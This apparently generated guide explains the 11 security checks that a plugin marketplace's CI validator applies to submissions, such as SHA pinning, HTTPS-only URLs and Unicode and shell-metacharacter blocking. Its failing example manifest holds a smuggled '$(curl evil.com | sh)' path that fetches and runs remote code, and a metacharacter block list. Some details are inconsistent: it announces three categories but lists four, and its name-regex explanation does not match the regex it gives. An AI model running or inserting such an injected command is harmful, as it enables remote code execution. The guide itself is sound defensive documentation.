# Claude Plugin Security Invariants: 11 Mandatory Rules for Safe Submission

> Discover the 11 mandatory security invariants for Claude plugins. Ensure safe submission with our guide to validation rules, covering SHA verification, Unicode sanitization, and more.

- Repository: [Anthropic/claude-plugins-community](https://github.com/anthropics/claude-plugins-community)
- Tags: best-practices
- Published: 2026-09-05

---

**Claude plugins must pass 11 strict security invariants (I1–I11) enforced by the `validate-plugins` GitHub Action, covering everything from alphabetical ordering and SHA verification to Unicode sanitization and shell-injection prevention.**

The `anthropics/claude-plugins-community` repository enforces these invariants on every pull request to ensure that plugins in the marketplace are deterministic, reproducible, and free from hidden malicious payloads. Unlike generic marketplace guidelines, these rules are machine-enforced and will block any submission that fails validation.

## What Are Claude Plugin Security Invariants?

Security invariants are **non-negotiable constraints** that every plugin manifest must satisfy. The `validate-plugins` tool runs as a GitHub Action in [`.github/workflows/validate-plugins.yml`](https://github.com/anthropics/claude-plugins-community/blob/main/.github/workflows/validate-plugins.yml), scanning both the assembled [`marketplace.json`](https://github.com/anthropics/claude-plugins-community/blob/main/marketplace.json) and individual `plugins/<name>.json` files before any merge can complete.

These invariants are documented in [`.github/actions/validate-plugins/README.md`](https://github.com/anthropics/claude-plugins-community/blob/main/.github/actions/validate-plugins/README.md) at lines 143–153, with the actual implementation distributed across shell scripts in [`.github/actions/validate-plugins/lib/common.sh`](https://github.com/anthropics/claude-plugins-community/blob/main/.github/actions/validate-plugins/lib/common.sh).

## The 11 Security Invariants Explained

### Structural and Ordering Invariants (I1–I2)

| Invariant | Requirement | Security Purpose |
|-----------|-------------|----------------|
| **I1 (Alphabetical Sorting)** | `plugins[]` array must be sorted alphabetically by `name` | Prevents "dependency-drift" attacks where malicious entries hide in unsorted lists |
| **I2 (Unique Names)** | No duplicate `name` values allowed | Eliminates identifier ambiguity and plugin takeover risks |

The alphabetical sorting check operates on the final [`marketplace.json`](https://github.com/anthropics/claude-plugins-community/blob/main/marketplace.json) structure. In [`.github/actions/validate-plugins/lib/common.sh`](https://github.com/anthropics/claude-plugins-community/blob/main/.github/actions/validate-plugins/lib/common.sh), this is implemented as a validation pass that compares each entry's `name` against its predecessor.

### Metadata Quality Invariants (I3, I10–I11)

**I3: Description Constraints**
- Length: 10–2000 characters
- No leading or trailing whitespace

This blocks injection of hidden whitespace that could affect downstream tooling or cause display inconsistencies.

**I10: Unicode Sanitization**
- `name` and `description` must contain **no hidden Unicode characters**
- Blocked: zero-width spaces, BOM markers, bidirectional override controls

These invisible payloads are a known attack vector for misleading users and bypassing simple string comparisons.

**I11: Name Format**
- Regex pattern: `^[a-z0-9][a-z0-9-]{1,63}$`
- 63-character maximum, lowercase alphanumeric and hyphens only

This produces URL-safe, shell-safe identifiers without special characters that could break tooling.

### Source Integrity Invariants (I4–I5, I8)

**I4: URL/Repository Validation**
- Must match `^https://[A-Za-z0-9./_-]+$` or `owner/repo` format
- HTTP is explicitly rejected
- Prevents SSRF attacks and malicious redirects through URL manipulation

**I5: Immutable Commits**
- Every external source must provide a **40-character lowercase hexadecimal SHA**
- The exact commit hash is verified before any code is fetched

This ensures **reproducible builds**: the same plugin submission always resolves to identical source code.

**I8: Vendored Source Verification**
- Vendored `source` paths must exist and contain [`.claude-plugin/plugin.json`](https://github.com/anthropics/claude-plugins-community/blob/main/.claude-plugin/plugin.json)
- Confirms that bundled code actually supplies a valid plugin manifest

### Injection Prevention Invariants (I6–I7, I9)

**I6: Filename-Name Consistency**
- Per-file plugins at `plugins/<x>.json` must have `.name == "x"`
- Prevents mismatched or intentionally deceptive plugin entries

**I7: Marketplace File Protection**
- PRs must **not edit [`marketplace.json`](https://github.com/anthropics/claude-plugins-community/blob/main/marketplace.json) directly**
- This file is auto-generated; direct edits could inject unauthorized entries

**I9: Shell Metacharacter Blocking**
- All string fields under `source` must contain **no shell metacharacters**
- Blocked characters include `$`, `(`, `)`, `` ` ``, `|`, `;`, `&`, `<`, `>`

This stops command-injection attacks when plugin data is later used in shell scripts or CI pipelines.

## Valid Plugin Manifest Example

A compliant [`plugin.json`](https://github.com/anthropics/claude-plugins-community/blob/main/plugin.json) that passes all 11 invariants:

```json
{
  "name": "weather-lookup",
  "description": "Provides current weather conditions for any location worldwide using OpenWeatherMap data.",
  "source": {
    "url": "https://github.com/example/weather-lookup",
    "sha": "a1b2c3d4e5f6789012345678901234567890abcd",
    "path": "src"
  }
}

```

This passes because:
- `name` matches I11's regex: lowercase, starts with letter, contains only hyphens and alphanumerics
- `description` is 95 characters with no surrounding whitespace (I3)
- `url` uses HTTPS with valid pattern (I4)
- `sha` is exactly 40 lowercase hex characters (I5)
- File location [`plugins/weather-lookup.json`](https://github.com/anthropics/claude-plugins-community/blob/main/plugins/weather-lookup.json) matches the `name` field (I6)

## Common Violation Patterns

This manifest fails multiple invariants:

```json
{
  "name": "Bad_Plugin",
  "description": "Short.",
  "source": {
    "url": "http://insecure.example.com/plugin",
    "sha": "abc123",
    "path": "$(curl evil.com | sh)"
  }
}

```

Failures detected:
- `name` contains underscore and uppercase, violating I11
- `description` is under 10 characters, violating I3
- `url` uses HTTP scheme, violating I4
- `sha` is only 6 characters, violating I5
- `path` contains `$(` shell metacharacters, violating I9

## Running Validation Locally

Test your plugin against all invariants before submitting:

```bash

# Clone the repository and navigate to the validation tool

git clone https://github.com/anthropics/claude-plugins-community.git
cd claude-plugins-community/.github/actions/validate-plugins

# Run validation against repository root

./validate.sh ../..

```

The script outputs specific invariant violations and exits with non-zero status for any ERROR-level failure. In [`.github/actions/validate-plugins/lib/common.sh`](https://github.com/anthropics/claude-plugins-community/blob/main/.github/actions/validate-plugins/lib/common.sh), each invariant maps to a check function that returns standardized exit codes.

## Key Implementation Files

| Path | Purpose |
|------|---------|
| [`.github/actions/validate-plugins/README.md`](https://github.com/anthropics/claude-plugins-community/blob/main/.github/actions/validate-plugins/README.md) | Full invariant documentation with rationale |
| [`.github/actions/validate-plugins/lib/common.sh`](https://github.com/anthropics/claude-plugins-community/blob/main/.github/actions/validate-plugins/lib/common.sh) | Core validation logic: regex matching, SHA verification, Unicode filtering |
| [`.github/workflows/validate-plugins.yml`](https://github.com/anthropics/claude-plugins-community/blob/main/.github/workflows/validate-plugins.yml) | CI workflow triggered on every PR |
| `plugins/*/plugin.json` | Example compliant manifests for reference |

## Summary

- **11 invariants (I1–I11)** enforce structural, integrity, and injection-prevention requirements on every Claude plugin submission
- **Three categories**: ordering/structure (I1–I2), metadata quality (I3, I10–I11), source integrity (I4–I5, I8), and injection prevention (I6–I7, I9)
- **Machine-enforced**: the `validate-plugins` GitHub Action blocks merge for any ERROR-level violation
- **Reproducibility guaranteed**: 40-character SHA requirements and HTTPS-only sources prevent drift and MITM attacks
- **Local validation available**: run [`./validate.sh`](https://github.com/anthropics/claude-plugins-community/blob/main/./validate.sh) from `.github/actions/validate-plugins` before submitting PRs

## Frequently Asked Questions

### What happens if my plugin fails an invariant?

The `validate-plugins` GitHub Action will annotate your pull request with specific invariant violations and block merge until resolved. ERROR-level invariants (most security-critical rules) cause immediate CI failure. Some invariants may be configured as warnings, but all 11 listed here are enforced as errors in the current configuration.

### Can I request an exception to an invariant?

No. These invariants are designed to be **non-negotiable** security boundaries. Unlike style guidelines, they protect against concrete attack vectors—SSRF, command injection, reproducibility failures, and hidden Unicode payloads. Any relaxation would require modifying the validation source code in [`.github/actions/validate-plugins/lib/common.sh`](https://github.com/anthropics/claude-plugins-community/blob/main/.github/actions/validate-plugins/lib/common.sh) and updating the documented policy.

### Why is alphabetical sorting (I1) a security invariant?

Unsorted lists create opportunities for "dependency-drift" attacks where a malicious entry hides between legitimate plugins, or where diff review becomes unreliable. Alphabetic ordering makes the [`marketplace.json`](https://github.com/anthropics/claude-plugins-community/blob/main/marketplace.json) structure **deterministic and auditable**—any insertion, deletion, or reordering produces an obvious, reviewable change in the file's diff.

### How does the SHA requirement (I5) improve security over version tags?

Git tags are mutable: a maintainer can force-push to move a tag to different commit hashes. The 40-character SHA invariant eliminates this **supply-chain risk** by pinning to an exact, immutable commit. This ensures that every installation of your plugin uses byte-for-byte identical source code, regardless of any later changes to the upstream repository.